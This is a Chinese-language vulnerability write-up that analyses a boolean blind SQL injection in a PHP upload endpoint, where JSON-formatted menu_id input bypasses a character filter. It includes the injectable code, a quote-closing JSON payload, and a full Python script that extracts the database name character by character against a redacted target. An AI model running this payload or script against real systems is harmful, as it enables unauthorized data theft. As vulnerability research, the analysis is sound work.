记一次布尔盲注漏洞的挖掘与分析

在上篇文章记一次由于整型参数错误导致的任意文件上传的漏洞成因的分析过程中，发现menu_id貌似是存在注入的。

public function upload()
{
     $menu_id = $this->post('menu_id');
     if ($id) {
        $where = "id = {$id}";
        if ($menu_id) {
            $where .= " and menu_id = '{$menu_id}'";
        }
        $config = publics::getOne(ApplyExtraField::TABLE, 'type, options', $where);
        if (empty($config)) {
                return $this->returnJson(400, $this->language['parameter_error']);
            }
        if (!in_array($config['type'], [8, 11, 12])) {
    			return $this->returnJson(400, $this->language['error_field']);
			}
}

可以看到menu_id被拼接到了SQL语句中，跟踪一下找到完整的SQL的执行语句

public static function getOne($tablename, $select = '*', $where, $order = '') {
    $sql = "select $select from $tablename where $where";
    if ($order) {
        $sql .= ' Order By ' . $order;
    }

    $ecshopdb = DI::getDefault()->get('db');
    $stmt     = $ecshopdb->prepare($sql);
    $stmt->execute([]);
    $oneResult = $stmt->fetch(\PDO::FETCH_ASSOC);
    return $oneResult;
}

得到完整的SQL语句

select type,options from $tablename where id={$id} and menu_id='{$menu_id}' Order By {$order};

menu_id可控，但是这里有个过滤，跟进$this->post()

public function post($name, $value = '')
{
    $str = $this->request->getPost($name);
    $str = is_string($str) ? trim($str) : $str;
    //$str = (new aes())->aesDe($str);
    $str = Helper::new_addslashes($str);

    if (empty($str) && !empty($value)) {
        $str = $value;
    }
    return $str;
}

public static function new_addslashes($string)
{
    if (!is_array($string)) {
        $str = $string;
        if (!self::isJson($string)) { 
            $str = addslashes($string);
            $str = self::safe_replace($str);
        }
        $str = self::remove_xss($str);
        return $str;
    }
    foreach ($string as $key => $val) {
        $string[$key] = self::new_addslashes($val);
    }
    return $string;
}

关键点在if (!self::isJson($string))，如果这里为True，也就是参数为JSON数据，则不会经过safe_replace()过滤，如果过滤到参数这里就没法玩了。

public static function safe_replace($string)
{
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace('\\', '', $string);
    return $string;
}

那么就可以给menu_id传json数据闭合语句注入即可，例如：{"a":"a'or if(1=1,1,0)-- "}

select type,options from $tablename where id={$id} and menu_id='{"a":"a'or if(1=1,1,0)-- "}' Order By {$order};

并且由于这里有一个查询情况判断

$config = publics::getOne(ApplyExtraField::TABLE, 'type, options', $where);
if (empty($config)) {
    return $this->returnJson(400, $this->language['parameter_error']);
}

if (!in_array($config['type'], [8, 11, 12])) {
    return $this->returnJson(400, $this->language['error_field']);
}

可以看到，当SQL语句查询失败返回为空时，应该返回parameter_error，当查询成功时，但是因为没有正确格式的menu_id没有查询出type, options，返回的是error_field，至于返回的报错也可以找到对应关系表。如下：

'parameter_error'               => '参数错误',
'error_field'                   => '字段参数错误',

那么接下来就是布尔盲注的过程了，验证下
当menu_id = {"a":"a'or if(1=1,1,0)-- "}时，返回的是字段参数错误

在这里插入图片描述

当menu_id = {"a":"a'or if(1=0,1,0)-- "}时，返回的是参数错误

在这里插入图片描述

直接写个简单脚本跑一下即可

import requests

myurl = "https://xxx.xxx.xxx.xxx:xxx/xxx/xxx/xxx/xxx"
myheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
             "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
             "Accept-Encoding": "gzip, deflate", "appid": "950DAB0982FBF45C",
             "Content-Type": "multipart/form-data; boundary=---------------------------38542006312875159874932859608",
             "Origin": "https://xxx.xxx.xxx.xxx:xxx", "Connection": "close", "Referer": "https://xxx.xxx.xxx.xxx:xxx/xxx/xxx/",
             "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}
content = ''
for pos in range(1, 100):
    min_num = 32
    max_num = 126
    mid_num = (min_num + max_num) // 2
    while min_num < max_num:
        mydata = "-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"menu_id\"\r\n\r\n{{\"a\":\"a'or if((ord(mid(database(),{},1)))>{},1,0)-- \"}}\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n11136\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\ndde84e3dd838eebf9791ccd614842ac6\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"org_id\"\r\n\r\nc0f8456c51d4aa175abc8e77db6b069a\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"lang\"\r\n\r\nsc\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"time\"\r\n\r\n1691670817\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"hash\"\r\n\r\ne2c8963aaa7e70f73639caf5d7b2b60f\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"file\"; filename=\"pic1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n\r\n-----------------------------38542006312875159874932859608--\r\n".format(pos, mid_num)
        resp = requests.post(url=myurl, headers=myheaders, data=mydata)
        if '字段参数错误' in resp.text:
            min_num = mid_num + 1
        else:
            max_num = mid_num
        mid_num = (min_num + max_num) // 2
    content += chr(min_num)
    print(content)